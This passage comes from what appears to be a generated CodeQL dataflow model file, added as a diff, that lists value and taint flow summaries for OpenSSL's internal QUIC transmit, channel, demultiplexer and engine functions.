"(OSSL_QTX *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0].Field[*msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback_arg", "(OSSL_QTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback_arg", "(OSSL_QTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback_arg", "(OSSL_QTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[**3]", "Argument[*0].Field[***mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[*3]", "Argument[*0].Field[**mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*mutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*finishmutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[3]", "Argument[*0].Field[*mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*2]", "Argument[*0].Field[*cur_remote_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*4]", "Argument[*0].Field[*odcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*0].Field[**qtx].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*0].Field[*cur_remote_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[4]", "Argument[*0].Field[*odcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_calculate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *)", "", "Argument[*3].Field[*id]", "Argument[*3].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_calculate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_encoded", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[**encoded]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_encoded", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*encoded]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_encoded_len", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*encoded_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_frame_type", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*frame_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_pn_space", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*pn_space]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_priority_next", "(const QUIC_CFQ_ITEM *,uint32_t)", "", "Argument[*0].Field[**next].Field[*public]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_state", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*state]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_is_unreliable", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_lost", "(QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t)", "", "Argument[2]", "Argument[*1].Field[*priority]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_tx", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*tx_list].Field[*head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_tx", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*tx_list].Field[*tail]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_tx", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*1].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_release", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_release", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*tail]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_release", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*1].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_alloc", "(const QUIC_CHANNEL_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[*1]", "Argument[*0].Field[**qrx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[0]", "Argument[*0].Field[**qrx].Field[*key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[0]", "Argument[*0].Field[**qrx].Field[*validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[1]", "Argument[*0].Field[*qrx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_demux", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port].Field[**demux]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_demux", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port].Field[*demux]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_engine", "(QUIC_CHANNEL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get0_engine", "(QUIC_CHANNEL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get0_port", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_port", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*port]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_ssl", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**tls]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_ssl", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*tls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_tls", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**tls]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_tls", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*tls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_diag_local_cid", "(QUIC_CHANNEL *,QUIC_CONN_ID *)", "", "Argument[*0].Field[*cur_local_cid]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_diag_num_rx_ack", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*diag_num_rx_ack]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_local_stream_count_avail", "(const QUIC_CHANNEL *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get_max_idle_timeout_actual", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*max_idle_timeout]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_max_idle_timeout_peer_request", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*max_idle_timeout_remote_req]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_max_idle_timeout_request", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*max_idle_timeout_local_req]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_peer_addr", "(QUIC_CHANNEL *,BIO_ADDR *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get_qsm", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*qsm]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_remote_stream_count_avail", "(const QUIC_CHANNEL *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get_short_header_conn_id_len", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port].Field[*rx_short_dcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_statm", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*statm]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_terminate_cause", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*terminate_cause]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_have_generated_transport_params", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*got_local_transport_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_init", "(QUIC_CHANNEL *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_is_handshake_complete", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*handshake_complete]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_is_handshake_confirmed", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*handshake_confirmed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_net_error", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*net_error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_local", "(QUIC_CHANNEL *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rxfc].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_remote", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*rxfc].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_remote", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "ReturnValue[*].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_remote", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "ReturnValue[*].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*2]", "Argument[*0].Field[*cur_remote_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*3]", "Argument[*0].Field[*init_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*0].Field[**qtx].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*0].Field[*cur_remote_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[3]", "Argument[*0].Field[*init_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn_id", "(QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_reject_stream", "(QUIC_CHANNEL *,QUIC_STREAM *)", "", "Argument[1]", "Argument[*0].Field[*qsm].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_replace_local_cid", "(QUIC_CHANNEL *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*cur_local_cid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_replace_local_cid", "(QUIC_CHANNEL *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*cur_local_cid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_replace_local_cid", "(QUIC_CHANNEL *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_incoming_stream_auto_reject", "(QUIC_CHANNEL *,int,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*incoming_stream_auto_reject]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_incoming_stream_auto_reject", "(QUIC_CHANNEL *,int,uint64_t)", "", "Argument[2]", "Argument[*0].Field[*incoming_stream_auto_reject_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_max_idle_timeout_request", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*max_idle_timeout_local_req]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback", "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback", "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback", "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback_arg", "(QUIC_CHANNEL *,void *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback_arg", "(QUIC_CHANNEL *,void *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback_arg", "(QUIC_CHANNEL *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[**3]", "Argument[*0].Field[**qtx].Field[***mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[*3]", "Argument[*0].Field[**qtx].Field[**mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[1]", "Argument[*0].Field[**qtx].Field[*mutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[2]", "Argument[*0].Field[**qtx].Field[*finishmutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[3]", "Argument[*0].Field[**qtx].Field[*mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_peer_addr", "(QUIC_CHANNEL *,const BIO_ADDR *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_peer_addr", "(QUIC_CHANNEL *,const BIO_ADDR *)", "", "Argument[1]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_txku_threshold_override", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*txku_threshold_override]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_subtick", "(QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_clear_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_ctx_callback_ctrl", "(SSL_CTX *,int,..(*)(..))", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[**3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ossl_quic_demux_has_pending", "(const QUIC_DEMUX *)", "", "Argument[*0].Field[*urx_pending].Field[*alpha]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_inject", "(QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_inject", "(QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[**3]", "ReturnValue[*].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[*0]", "ReturnValue[*].Field[**net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[*3]", "ReturnValue[*].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[*net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[*short_conn_id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[3]", "ReturnValue[*].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_free].Field[**alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_free].Field[**omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_free].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_free].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_bio", "(QUIC_DEMUX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_bio", "(QUIC_DEMUX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[**2]", "Argument[*0].Field[***default_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[*2]", "Argument[*0].Field[**default_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[1]", "Argument[*0].Field[*default_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[2]", "Argument[*0].Field[*default_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_mtu", "(QUIC_DEMUX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*mtu]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_create_port", "(QUIC_ENGINE *,const QUIC_PORT_ARGS *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_create_port", "(QUIC_ENGINE *,const QUIC_PORT_ARGS *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_libctx", "(QUIC_ENGINE *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_libctx", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_mutex", "(QUIC_ENGINE *)", "", "Argument[*0].Field[**mutex]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_mutex", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*mutex]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_propq", "(QUIC_ENGINE *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_propq", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, 